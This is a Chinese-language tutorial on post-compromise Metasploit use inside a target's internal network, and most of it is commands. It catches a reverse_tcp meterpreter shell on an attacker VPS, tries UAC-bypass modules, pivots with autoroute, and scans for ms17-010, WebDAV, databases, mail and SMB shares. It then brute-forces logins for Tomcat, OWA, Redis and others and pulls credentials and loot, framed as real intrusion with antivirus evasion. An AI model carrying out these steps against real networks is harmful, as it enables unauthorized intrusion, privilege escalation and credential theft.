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如何单单依托 metasploit 尽可能多的发现目标内网下的各类高价值存活主机

本节重点快速预览:

 通过在 meterpreter中添加路由的方式扫描目标内网下的各类高价值存活主机

 对于直接处在目标内网环境下的存活扫描方式

 利用 scoks4a/socks5代理的方式扫描目标内网下各类存活主机

基础环境说明:

NewMsf 假设为自己公网的一台 vps机器[且已经事先在上面配置好 msf],公网 ip: 192.168.3.233

BypassAV 假设为自己已经拿到的一台目标内网的个人机[win10 x64],目标内网 ip: 192.168.4.4

前言:

通过前面两节的简单说明,我们已大致了解到,在实战中如何利用纯手工的方式来快速发现目标内网中的各类高价值存活主机[即那些有助于我们快速 getshell的主机],紧接着,我们再以大家最为熟悉的 msf

平台为例,看看在实战中如何单纯的依托 msf来对目标内网进行各种高价值存活主机探测,假设,现在你通过发马或者其它的各种方式已经搞到了目标内网的一台个人机得 shell [通常都是 win 10 / 7 / 8 / 8.1

这种单机系统],但由于微软在 win7以后的系统引入了 uac机制[也就是说 xp以下的系统压根不用考虑 uac的问题],所以这就导致我们通常拿到的都只是一个"被降了权的 administrator"权限的 shell,虽然

这样说可能不太准确,但主要还是为了方便大家理解,其实它就相当于一个被受限于 UAC下的系统管理员用户,ok,简单的铺垫之后,我们直奔主题,至于怎么免杀弹 shell,并非此处重点,就不细说了,就从我们拥

有一个暂未被 bypassUAC的 meterpreter的 shell开始,图简便,这里的 payload 就直接用 veil随便生成了,然后丢到目标机器上去执行,对了,顺便说一句,bypassUAC并不是真正意义上的"提权",它仅仅只

是对系统某些限制的突破,所谓提权,则是直接从一个从系统普通用户[在 linux中,甚至是一个权限非常低的服务用户[伪用户]权限]直接提到 system或者 root,弟兄们不要误解 ^_^

如下我们可以看到,admin用户虽然身在管理组,但实际上它其实就是一个"被降了权"的管理员用户



首先,我们快速弹回一个还没有被 bypassUAC的 meterpreter的 shell

msf5 > use exploit/multi/handler

msf5 > set payload windows/meterpreter/reverse_tcp

msf5 > set lhost 192.168.3.233

msf5 > set lport 110

msf5 > set EnableUnicodeEncoding true

msf5 > set ExitOnSession false

msf5 > exploit -j

msf5 > sessions -i 1

meterpreter > sysinfo

meterpreter > getuid

meterpreter > getsystem

meterpreter > getprivs

meterpreter > background

msf5 > search bypassuac



在拿到目标机器 shell进行了各种常规信息搜集之后,我们开始来尝试 bypass当前机器的 UAC [建议大家最好在 bypassUAC成功之后,再进行后续的各类操作],在实战中这一切可能都并不太容易,其中最大

的障碍就是目标机器上的各类杀软,bypassUAC其实是一个极度敏感的系统操作[因为其底层涉及到系统权限提升行为,而 nod恰巧在这方便做的又相对比较到位],这就很棘手了,bypass不了 UAC,抓不了 hash,

连 cmdshell和 powershell 都起不了,后续的一系列操作也会因此而大大受限,直接利用 msf 自带的各种 UAC bypass 模块,百分之九十九都会被杀软秒掉,ok,这些问题,我们暂时就先放这儿,等到后面我们还

会有单独的章节去专门说明各种 UAC bypass 方式

注意,此处我们 bypassUAC 以后的弹回的会话直接就用的默认的 reverse_tcp的 payload[端口 4444],你完全可以根据自己目标的实际情况选择其他的 payload 进行反弹,有个需要面对的现实是,实战中直接

这样 bypass反弹 meterpreter,上传 payload时几乎都会被秒杀

msf5 > use exploit/windows/local/bypassuac_fodhelper win10专用的 uac bypass模块,想成功弹 shell的前提是没有杀软拦截

msf5 > set session 1

msf5 > exploit

meterpreter > getuid

meterpreter > getsystem



如下,是 msf自带的几个相对比较经典的 UAC bypass 模块,关于每个模块具体的 bypass细节,这里先不多说了,有些是利用系统漏洞,有些则是利用某些系统特性来 bypass的,后续我们会再细说,这里先大概了

解下即可

exploit/windows/local/bypassuac_comhijack

exploit/windows/local/bypassuac_eventvwr

exploit/windows/local/bypassuac_fodhelper

exploit/windows/local/bypassuac_injection_winsxs

0x01 利用 msf进行内网存活探测前的一些早期准备工作

第一步,先去把数据库调整好并连上,用数据库的主要原因,主要还是想用它来帮我们自动存各种扫描结果,另外,依靠数据库也会大大提高我们检索模块的速度,因为在 msf连上数据的时候会自动把所有模块

的路径都写到对应的表字段下,后续搜索直接主键命中,速度自然就快了,既然是用 msf,那咱们就干脆用的彻底一点,尽量不要再手工拿着 txt记录,关于 pgsql数据库和 msf的联动配置,在前面 msf安装部署章

节已有非常详细的说明,此处不再赘述,因为默认 pgsql服务只允许 127.0.0.1来连,所以暂不用过分担忧 pgsql的安全性,如果你直接用的是 kali中的 msf,只需进行如下操作,数据库便会自动配置完成,如果

你跟我一样,是自己在别的系统中手工配置的 msf,请直接去参考之前的关于 msf详细部署的相关文章[后续整理好会逐步放出],进行相关的数据库连接配置,这里不多废话了,开始正题

# systemctl start postgresql 既然是要配合数据库一块用,那肯定得先把 pgsql服务起起来

# msfdb init 初始化 msf数据库配置,其实就是创建个配置文件,往里面写了一堆数据库连接信息,然后自动创建库表结构,仅此而已

msf5 > msfconsole 启动 msf

msf5 > db_status 检查数据库是否已连上

msf5 > search bypassuac 尝试搜索模块,看看模块路径是否已经被写到指定的字段下,正常情况下,连上数据库以后的搜索速度应该很快的



第二步,创建自己专属的工作区,推荐最好一个目标单独建一个,搞定一个目标就把相应的库数据全部导出来留作备份,这样后续也方便随时导入,然后再去删掉对应的工作区就行了,msf 默认会把所有的数据都存

在 default这个工作区下,这样就非常不利于我们后期分析数据

msf5 > workspace -a/-d demo 添加/删除工作区

msf5 > workspace demo 选择工作区

msf5 > workspace 查看当前所在的工作区

第三步,接着再来简单了解一下跟数据库操作相关的几个命令用法,稍微过一眼就好

msf5 > db_rebuild_cache 在后台创建 msf 表结构[所谓的缓存],说白点儿,就是个建库,建表,建字段,写数据[将 msf中的所有模块路径都写到指定的字段[该字段一般都会加索引]下,加快查询速度]

的过程

msf5 > db_connect 连接到指定的数据库上,如, db_connect msf:admin@127.0.0.1/msf

msf5 > db_disconnect 断开数据库

msf5 > db_export 把库中的数据导出到指定文件中



msf5 > db_import 把指定文件中的数据导到库中

msf5 > db_nmap 在 msf内部调用 nmap对目标内网进行各种扫描探测

msf5 > db_status 查看当前数据库的连接状态

msf5 > hosts 根据前面的各种结果,查看库中所有的机器列表

msf5 > loot 根据前面的各种结果,查看密码库

msf5 > services 根据前面的各种结果,查找特定服务,通常是指可被快速 getshell的漏洞服务

msf5 > vulns 根据前面的各种结果,查找存在漏洞的主机,在前面利用的一些漏洞模块扫描时,会自动把扫描结果记录下来

msf5 > workspace 建立工作区

0x02 通过添加到目标指定内网段路由的方式进行存活探测

有些弟兄可能到现在还是不太理解 msf中的添加路由到底是什么意思,通俗来讲,所谓的路由,无非就是想告诉某个 ip包,遇到什么样的网段该从哪个路由上走,拿此处为例来讲,其实它就是告诉 msf,所有到

192.168.4.x这个网段的 ip 包,全部都通过 session 1这个会话来走,这也就是为什么,你可以直接去用 msf中的某些模块对目标内网进行探测的原因,meterpreter只是它们之间的桥梁,说到这份上,想必大

家应该都能明白了,其实,都是些非常简单的东西,稍微想想就知道了

meterpreter > run get_local_subnets

meterpreter > run autoroute -s 192.168.4.0 -n 255.255.255.0 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉

meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加上

Ok,到目标内网的路由建好以后,紧接着就可以尝试对目标内网进行各种存活探测了,首先,还是依靠各类基础服务端口扫描来快速发现目标内网中的一些高价值存活主机,实际测试中,要分轻重前后,尽量让一些



能快速 getshell的模块先扫,提高效率,别盲目一桶乱扫就行

探测目标内网中的所有 windwos存活主机[其实也不仅仅是 windows,装了 samba服务的 linux机器也一样能被探测到,但主要还是 windows],线程不要给太高,个人建议,实战中直接单线程就好,就让它慢慢

跑,不妨算一下,即使同时扫几万个 ip,撑死了又能要多久呢,这样也总比你扫扫断断的反复浪费时间更划算,而且结果也更精准,还不容易断,流量也不大,一定要时刻清楚,你当前毕竟是在仅有的一个

meterpreter中搞,可不是直接就处在别人的内网中[比如,vpn内网或者实地无线...假设你已经处在别人的内网中了,也应保持 20以内的线程足矣,起码算是能接受的时长范围],如果你发现,不管怎么扫,都扫

不出结果时,就要好好考虑下是不是因为当前机器的防火墙以及其它什么防护给拦掉了,或者模块压根就没正常工作而你又没发现,包括对后面所有类似的探测操作亦是如此,发现扫不动了,就要好好想到底是因

为什么扫不动了,一定根据实际情况多冷静分析思考尝试,别一扫不动了,就开始坐那儿听天由命,天天这样什么时候才能真正成长起来呢 ? 真的未知 ? 是你自己放弃了成长的机会,神仙也帮不了 :)

msf5 > use auxiliary/scanner/smb/smb_version 实际上就是在扫内网中所有开了 139,445端口的机器

msf5 > set rhosts 192.168.4.0/24

msf5 > set threads 1

msf5 > run

探测目标内网中所有可能存在 ms17-010 的主机,注意,这里仅仅只是探测是否存在此漏洞,并非实际利用,一般情况下,还是不太容易会触发对方报警拦截的,不过,某些恶劣环境就难说了,注意,msf 自带的

ms17-010 exp只能用适用于 64位系统,有已公开的通用的

msf > use auxiliary/scanner/smb/smb_ms17_010

msf > set rhosts 192.168.4.0/24

msf > set threads 1

msf > run -j

探测目标内网中所有开启了 webdav 的 web机器,此处主要还是针对 I IS5.x / 6.x,虽然 tomcat 和 apache 也有被利用的可能,但实际 iis会居多,通过这种方式可以帮我们快速 get到一些老机器,作为后续

在目标内网中的稳定据点,实际测试中,模块精度不是太高

msf > use auxiliary/scanner/http/webdav_scanner

msf > set rhosts 10.11.1.0/24 本地环境有限,所以就直接拿的别的环境来演示实际效果,大家理解即可,截图不是重点,知道自己想做什么,想拿到什么,怎么利用,这些才是重点,后面的所

有操作亦是如此

msf > set threads 1

msf > run



探测目标内网中所有允许 put方法的 Web服务,快速 get webshell,提权

msf > use auxiliary/scanner/http/http_put

msf > set rhosts 10.11.1.0/24

msf > set threads 20

msf > run



紧接着,瞄准各类远程管理服务,如,rdp[老系统可尝试下 shift后门,爆破,新系统可以这么干,先看那些开了 3389的机器上有没有起 web服务,搞 web,尤其是像 xampp,appserv此类的 php集成环境[默认权限

非常高,几乎都是 system],当然也可以尝试撞密码],ssh,vnc...

msf > use auxiliary/scanner/rdp/rdp_scanner

msf > set rhosts 10.11.1.0/24

msf > set threads 1

msf > run

尽量先找一些低版本的尝试爆破或者撞密码,内网成功率,还是不错的

msf > use auxiliary/scanner/ssh/ssh_version



msf > set rhosts 10.11.1.0/20

msf > set threads 20

msf > run

关于其它的各类远程管理服务或工具,比如 vnc,rlogin...之类的服务,此处就不一一说了,以后可能会用的越来越少,除非是在一些非常落后的环境中还可能偶尔遇到一两个

telnet 在路由和一些非常老的服务器上有可能还会用到,毕竟是明文,服务本身也非常脆弱,爆破,嗅探都是可以的

msf > use auxiliary/scanner/telnet/telnet_version

msf > set rhosts 10.11.1.1-25

msf > set threads 1

msf > run



瞄准目标内网中的各类数据库服务,比如,mssql,mysql,oracle,db2,postgresql...其中包含了大量我们需要的各类敏感信息,比如,各个管理员的账号,密码,邮箱...这些将有助于我们快速 getshell,其实,

渗透的很大一部分动作就是在不停的拿密码,然后不停的撞入口

msf > use auxiliary/scanner/mssql/mssql_ping mssql往往会是我们在目标内网中不错的入手点

msf > set rhosts 10.11.1.20-32

msf > set threads 1

msf > run



探测目标内网中的 mysql

msf5 > use auxiliary/scanner/mysql/mysql_version

msf5 > set rhosts 192.168.4.0/24

msf5 > run

探测目标内网中的 postgresql

msf5 > use auxiliary/scanner/postgres/postgres_version

msf5 > set rhosts 192.168.4.0/24

msf5 > run

探测目标内网中的 oracle

msf > use auxiliary/scanner/oracle/tnslsnr_version



msf > set rhosts 10.11.1.190-210

msf > run

枚举 sid

msf > use auxiliary/scanner/oracle/sid_enum

msf > set rhosts 10.11.1.190-210

msf > run

另外,还有很多非常有利用价值的其它的各类数据库服务,比如, couchdb,db2,ldap,mongodb,redis,memcache,ELK...这些等到后续漏洞利用章节,我们再详细说,暂略过

作为目标内网中最敏感的地方之一,邮件服务,我们事先还是很有必要知道它们的具体位置在哪儿,后续好针对性的搞,毕竟,往往渗透的最终目的,可能就是想要这些东西

探测内网中的所有 pop3服务机器,模块会自动获取服务 banner

msf > use auxiliary/scanner/pop3/pop3_version

msf > set rhosts 10.11.23.0/24

msf > set threads 1

msf > run



探测目标内网中的所有 smtp服务机器

msf > use auxiliary/scanner/smtp/smtp_version

msf > set rhosts 10.11.1.0/20

msf > set threads 1

msf > run

探测目标内网中的所有 imap服务机器

msf > use auxiliary/scanner/imap/imap_version

msf > set rhosts 10.11.1.0/24

msf > set threads 1

msf > run



smb漏洞,各类数据库服务,各类邮件服务说完,我们再来看文件服务,最典型的无非就是各类内网中的各种 nfs共享,samba共享,ftp共享,svn上的代码,rsync同步...关于 nfs,samba 和 svn的利用,后期都

有详细说明,此处暂时略过

msf > use auxiliary/scanner/ftp/ftp_version

msf > set rhosts 10.11.1.0/20

msf > set threads 1

msf > run

枚举内网中的 snmp,搜集各类目标机器信息,一旦目标内网中的 snmp服务主机允许任意连接,那我们就可以在爆出密码以后,通过 oid轻松获取目标机器上的各类高价值敏感信息

msf > use auxiliary/scanner/snmp/snmp_enum

msf > set rhosts 10.11.1.0/20

msf > set RPORT 161

msf > set COMMUNITY public 团体字符,通常情况下会是 public

msf > set threads 1

msf > run



在目标内网中找一些可读写的匿名 ftp,有些老机器是可以尝试 ftp提权的

msf > use auxiliary/scanner/ftp/anonymous

msf > set rhosts 10.11.1.0/20

msf > set threads 20

msf > run

找出内网中的允许匿名连接 smb,对某些老机器来讲,还是很有用的



msf > use auxiliary/scanner/smb/smb_enumshares

msf > set rhosts 10.11.1.0/20

msf > set threads 20

msf > run



最后,就是通过常规 tcp/udp端口扫描来识别内网中的各类存活主机,个人建议在实战最好用 tcp的 connect,syn有可能被秒,注意,这里的端口扫描,真的就是纯粹的端口扫描,只会简单看看目标端口到底开

没开,至于 banner 获取,版本识别什么的都是没有的,跟 nmap一样,有个很致命的缺陷,稍微快一点就容易把 meterpreter扫断[如果是 exe payload 或者迁徙进程后可能会好一点吧,powershell还是很不稳

定的],确实很烦人,那就没啥好办法了,只能加延迟,单线程扫,一次最多只扫两三个端口,分批跑,当然啦,还是那句话,如果你的msf直接就处在被人的内网中,连延迟都不用加,线程20以内都是没啥问题的,稳定

的要死

msf > use auxiliary/scanner/portscan/tcp

msf > set delay 1

msf > set threads 1

msf > set timeout 500

msf > set rhosts 10.11.1.0/20

msf > set ports 80-90,8080-8090 比如,专扫目标内网中的所有 web机器

msf > run

常规 icmp存活扫描,跟用目标系统自带的 icmp工具来扫描没有太大差别

meterpreter > run post/multi/gather/ping_sweep rhosts=192.168.4.0/24



常规 arp扫描,轻易不要用,动静儿太大,实战中很容易把 meterpreter搞断,尤其在大网段下内网机器非常多的时候,而且也完全没必要这样搞

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.4.0/24

0x03直接处在目标内网环境下的存活探测方式

ok,上面提到的那些存活探测方式主要是针对已经拿到目标内网一台机器的 meterpreter以后通过添加路由的方式进行的,实战中用起来的限制和问题会比较多,部分模块在那种路由模式下,可能还没法正常

工作,这一点尤其要注意,不过,话说回来,假设你现在就已经直接处在目标的内网中,比如,事先你通过其它的方式很幸运的拿到了目标的 vpn账号密码,并顺利登到了目标的 vpn内网中[直接把 kali整个挂到目

标 vpn内网里,这也算是相对比较完美的渗透场景了],或者直接在实地自己想办法问到了目标的无线密码或自己破解无线密码,进到了目标内网中,再或者你就想帮自己公司内网做些简单的渗透测试加固,那基本

就没什么限制了,msf中的所有模块都可以随便用,包括上面提到的所有模块,前提是在你自身机器性能要跟得上,防护也要允许的情况下

比如,我们在 msf中直接调用外部的 nmap对目标内网进行探测,有些弟兄可能会别扭,直接在外面用就好啦,为啥非要在 msf中用呢? 好处就在于,你通过在 msf中调用 nmap进行的各类探测,msf 都会自动帮你

把各种扫描结果存到库中,这样就非常方便后去整理分析利用,省了 txt

msf > db_nmap -sT -p 80,445,139 --open -v -Pn --script=http-iis-webdav-vuln.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse 10.11.1.0/20

msf > db_nmap -sn -PR 10.11.1.0/20

msf > db_nmap -sn -PP 10.11.1.0/20



不管是在 msf内部还是在外面,nmap本身各种参数选项的使用都是没有任何变化的,上面只简单扫了一些常规高危端口,至于 arp扫描,icmp 扫描,前面的章节中都有相关说明,实际效果都差不多,此处就不一一

说了

除了前面用到的那个后渗透模块中的 arp_scanner模块,msf自身还带了 arp_sweep 模块,只不过这个模块要你事先必须已经处在别人的内网中才能用,因为它需要指定对应的网卡接口,动静儿很大,慎用

msf > use auxiliary/scanner/discovery/arp_sweep



msf > set rhosts 10.11.1.0/20

msf > set interface tap0

msf > set threads 20

msf > run

除了上面所提到的那些常规探测模块,以下则是专门针对目标内网中的各类中间件的探测模块,篇幅限制这里就不一一细说了,到后期关于各个中间件的漏洞利用,还会再详细说,此处暂时略过

msf > use auxiliary/scanner/http/zabbix_login zabbix监控 web入口爆破

msf > use auxiliary/scanner/http/axis_login axis默认 web控制台入口爆破

msf > use auxiliary/scanner/http/cisco_ssl_vpn sslvpn默认 web入口爆破,前期信息搜集很重要

msf > use auxiliary/scanner/http/http_login http基础认证 web入口爆破

msf > use auxiliary/scanner/http/scraper 抓 http banner

msf > use auxiliary/scanner/redis/redis_login 爆破 redis

msf > use auxiliary/scanner/http/joomla_version 快速识别内网中的所有 joomla程序

msf > use auxiliary/scanner/http/wordpress_scanner 快速识别内网中的所有 wordpress程序

msf > use auxiliary/scanner/http/jenkins_enum 快速识别内网中的所有 jenkins信息,比如,快速找未授权命令执行等...

msf > use auxiliary/scanner/http/owa_login owa入口爆破,一般会跟 vpn账号密码,域内账号密码一致,前期信息搜集很重要

msf > use auxiliary/scanner/http/tomcat_mgr_login tomcat 默认管理控制台入口爆破,主要针对 tomcat6.x以下的版本,7以上有防爆机制

msf > use auxiliary/scanner/http/svn_scanner 探测内网中的所有 svn,主要是针对在 apache集成的 svn功能

msf > use auxiliary/scanner/http/splunk_web_login splunk web入口爆破,主要用来做海量日志分析用的

msf > use auxiliary/scanner/http/sap_businessobjects_version_enum 识别 sap详细版本,看不能利用

更多模块,待续...



0x04 快速从已有的扫描结果中定位各类高价值目标

msf > hosts –h 查看在 hosts[主机]中的所有可用字段名,关于后面的 services也是同样的查看方法

msf > hosts -c address,mac,name,os_name,os_flavor,os_sp,purpose,vuln_count,service_count -S windows 从扫描结果中提取所有 windows主机的详细信息

msf > hosts -c address,mac,name,os_name,os_flavor,os_sp,purpose,vuln_count,service_count -S Linux 从扫描结果提取所有 linux主机的详细信息



只提取指定网段下的所有 windows主机的详细信息,-o选项 用于把过滤到的结果导出到当前目录下的指定文件中,比如,csv...

msf > hosts -c address,mac,name,os_name,os_flavor,os_sp,purpose,vuln_count,service_count -S windows -R 10.11.1.0/24

msf > hosts -c address,mac,name,os_name,os_flavor,os_sp,purpose,vuln_count,service_count -S windows -R 10.11.1.0/24 -o active_machine.csv

如下,快速查找各类存在高危服务的目标主机

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 445 主要针对 ms08-067,ms17-010,admin$匿名访问以及 smb弱口令



msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S Microsoft-IIS/6.0 webdav远程执行,允许 put方法

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 1433弱口令,getshell...

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 8080控制台弱口令,getshell...



msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S 1521 未授权漏洞

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S ProFTPD 后门,爆破

msf > services -c port,proto,name,state,info -R 10.11.1.0/24 -S SSH-2.0



查看各种密码 hash,注意,cred 在新版的 msf可能已被废弃

msf > creds 10.11.1.0/24

msf > loot

当目标机器上存在某些我们可利用到的环境时,比如,ps[win7+]和 py...也可尝试通过 meterpreter直接加载本地的 ps/py脚本到远程机器上执行,有些免杀还是不错的,既然是加载脚本,那能干的事情就非常

多了,前面章节已多次说明,想必大家也早已十分清楚,此处不再赘述

meterpreter > load powershell

meterpreter > load python

关于 msf socks4a模块用法在前面穿透部分已有详细说明,说白点就是在本地起个端口,好让外部工具连到 msf里面去,都非常简单的,这里就不详细说了,另外,可能官方也发现之前的 socks4a实在太难用,在后

续新版的 msf中已经添加了 socks5模块,实际性能稍好

auxiliary/server/socks4a

auxiliary/server/socks5 实际性能,大家可直接在实战中自行体会

一点小结:

注意,以上所有的动作,全部都仅仅只是在探测,并未有任何的实际利用,不得不说,单对于内网渗透,msf还是非常好用的,模块丰富,简单快捷,但说心里话,它非常不灵活,对于一些公厕型[基本没啥防护]的内

网来讲,基本也不需要太多外部工具,单凭msf就能一撸到底,当然啦,那些毕竟都是极为理想的目标环境,退一万步来讲,如果真的都是那种环境,估计早就被人秒光了,也不大可能会轮到自己,我们面对的现实,往

往是 msf在目标环境中,几乎都是根本跑不动的,meterpreter也是各方围追堵截,有时即使暂时侥幸绕过,也坚持不了几天[也有可能是几个小时],这时还真不如想办法直接手工慢慢搞的效率高,起码动静,麻烦

也要少的多,所以,大家从现在开始要尽量养成习惯不要对 msf过分的依赖,尽量慢慢练出自己手工渗透的能力,否则,万一哪一天真的不得已要暂时丢掉 msf,才发现原来自己什么都不会,岂不是比较悲剧了,学习

亦是如此,先尽量搞清楚原理[切记不用一开始就搞得非常深,这是很不明智的,也不现实,先理解个大概,再在自己的不断实践中慢慢体会,最后形成自己的经验,自然就会影响深刻,学什么东西都一样,都是需要

时间和实践慢慢由浅入深的,还是那句话,一开始就步子扯太大,后面容易扯着蛋],再去用,自然就游刃有余了,上面所提到的模块还算是相对比较实用的,只是需要稍微注意下,有一部分可能不能直接用在路由模

式下,比如,arp_sweep这种类型的,这也就是为什么,你会发现某些模块,虽然你设置的是目标内网ip段,但它实际走的还是你本地网络,假设你已经身处别人内网,而且确定msf在里面跑的很流畅,那就没啥好说

的了,也根本不用考虑啥,放开手脚使劲撸就是了,祝,好运吧 :),觉得还不错的话,别忘了打赏哦,一块也是爱 , 哈哈...,当然啦,有任何问题或者建议,也记得及时跟我反馈
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